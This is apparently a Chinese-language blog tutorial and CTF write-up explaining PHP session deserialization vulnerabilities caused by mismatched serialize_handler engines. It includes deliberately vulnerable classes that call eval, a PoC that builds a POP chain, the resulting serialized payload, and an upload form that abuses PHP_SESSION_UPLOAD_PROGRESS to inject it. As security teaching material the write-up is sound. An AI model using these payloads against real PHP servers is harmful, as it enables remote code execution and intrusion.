知识储备

在php中session存储和反序列化存储在php.ini中的配置:


session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php(php5.5.4后改为php_serialize)

session.serialize_handler是用来设置session的序列话引擎的。不同的引擎所对应的session的存储方式不相同。

php_binary  键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php  键名+竖线(|)+经过serialize()函数处理过的值
php_serialize  经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

测试

php存储测试代码:

<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name']='123';
?>

服务器生成的session文件内容:
文件名为sess_sessionid(即:session值)

name|s:3:"123";

php_binary测试代码:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name']='123';
?>

文件名同上
服务器生成的session文件内容:

names:3:"123";

php_serialize测试代码:

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name']='123';

文件名同上
服务器生成的session文件内容:

a:1:{s:4:"name";s:3:"123";}

php session序列化漏洞

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。
例:
实例代码:
文件名session.php


<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name']=$_GET['a'];
?>

文件名:session2.php

<?php
ini_set('session.serialize_handler','php');
session_start();
class syclover{
 var $func="";
 function __construct() {
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}

在php_serialize引擎下,我们在访问session.php是传入a=|O:8:”syclover”:1:{s:4:”func”;s:10:”phpinfo();”;}
然后访问session2.php会执行phpinfo()函数。

解释:$_SESSION的数据使用php_serialize引擎时,那么最后的存储在session文件的内容就是a:1:{s:4:”name”;s:49:”|O:8:”syclover”:1:{s:4:”func”;s:10:”phpinfo();”;}

但是我们在session2.php进行读取session的时候,选择的是php,那么最后读取的内容是:

array(1) { ["a:1:{s:4:"name";s:49:""]=> object(syclover)#1 (1) { ["func"]=> string(10) "phpinfo();" } } 

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:4:”name”;s:49:”作为SESSION的key将O:8:”syclover”:1:{s:4:”func”;s:10:”phpinfo();”;}作为value,然后进行反序列化,最后就会得到一个syclover对象。

这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列化漏洞。

例题:
(安恒月赛)
源码:
index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>这是foo1的析构函数<br>";
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>这是foo2的析构函数<br>";
 }
}

class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>这是foo3的析构函数<br>";
 }
}

?>

phpinfo.php

<?php
    session_start();
    require("./class.php");

    $f3 = new foo3();
    $f3->varr = "phpinfo();";
    $f3->execute();
?>

flag自己建立文件写入。
题目配置:
php>5.5.4
php.ini配置

session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=Off
session.upload_progress.enabled=On

我们要通过foo3中的execute来执行我们自定义的函数。
自建poc:

<?php
class foo3{
 public $varr="var_dump(scandir('./'));";
 function execute(){
  eval($this->varr);
 }
}
class foo2{
 public $varr;
 public $obj;
  function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }

}
class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();
 }
} 
$val=new foo1();
echo serialize($val);

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值var_dump(scandir(‘./‘));
序列化值为:

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:24:"var_dump(scandir('./'));";}}}

session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。

当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。

现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据。
于是构造本地上传文件:

<form action="http://localhost/anheng/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

这里的PHP_SESSION_UPLOAD_PROGRESS就是就是为了添加session数据。
因为我们上传文件是用到的session机制是php_serialize。
而index.php开启session时的session机制为php

所以抓去上传文件的包更改文件名为我们构造的反序列化值。

这里我们需要知道php机制下读取session时是以竖线为分割符。这样我们就可以获取一个对象。
所以我们要在反序列化值前加一个竖线。还有就是我们为了防止引号
被错误解释。就需要进行转义,在双引号前都加上反斜线。

所以构造playload:

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:10:\"1234567890\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:24:\"var_dump(scandir('./'));\";}}}

EbdkwD.png

这时存储的session内容是:

a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1558005110;s:14:"content_length";i:460;s:15:"bytes_processed";i:460;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:139:"|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:24:"var_dump(scandir('./'));";}}}

然后就是读文件了。。。
最后就能获取flag。。。

总结

这只是序列化的皮毛。还有很多要学。。。加油吧。emmm

  • php create_function()代码注入

    create_function代码注入string create_function(string $args , string $code) $args 变量部分$code 方法代码部分 返回值:以字符串形式返回唯一的函数名,如果出...

    php create_function()代码注入
  • php之正则匹配

    注:文章存在转义以网页显示为表准写法 正则表达式:1.原子 2.元子符 3.模式修正符 原子:. 匹配除换行符以外的任意字符 a-z A-Z 0-9 [0-9] [^0-9] \d 匹配数字 \D...

    php之正则匹配
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 计算机组成原理学习

    计算机组成原理第一章 计算机系统概论计算机系统的层次结构 冯·诺依曼计算机的特点 计算机由运算器、存储器、控制器、输入设备和输出设备五大部件组成 指令(程序)和数据以二进制同等地位地存储在存储器中,可按址寻访 指令由操作码和地址码组...

    计算机组成原理学习
  • 2019安洵杯+2019广外比赛web部分题解

    2019安洵杯easy_web知识点:MD5强碰撞,命令执行这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码...

    2019安洵杯+2019广外比赛web部分题解
  • bypass disfunction

    前言PHP 的 disabled_functions主要是用于禁用一些危险的函数防止攻击者执行系统命令。但是有一些绕过方法。这里做个总结。 基本思路有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在...

    bypass disfunction
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • RCE提高篇

    前言首先,需要了解一下命令执行的函数,这里推荐几篇文章,来认识这些函数。浅谈eval和assert从底层分析eval和assert的区别命令执行与代码执行的小结巧用命令注入的N种方式命令注入绕过姿势我就不在说这几个东西,大牛们都说的很...

    RCE提高篇
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)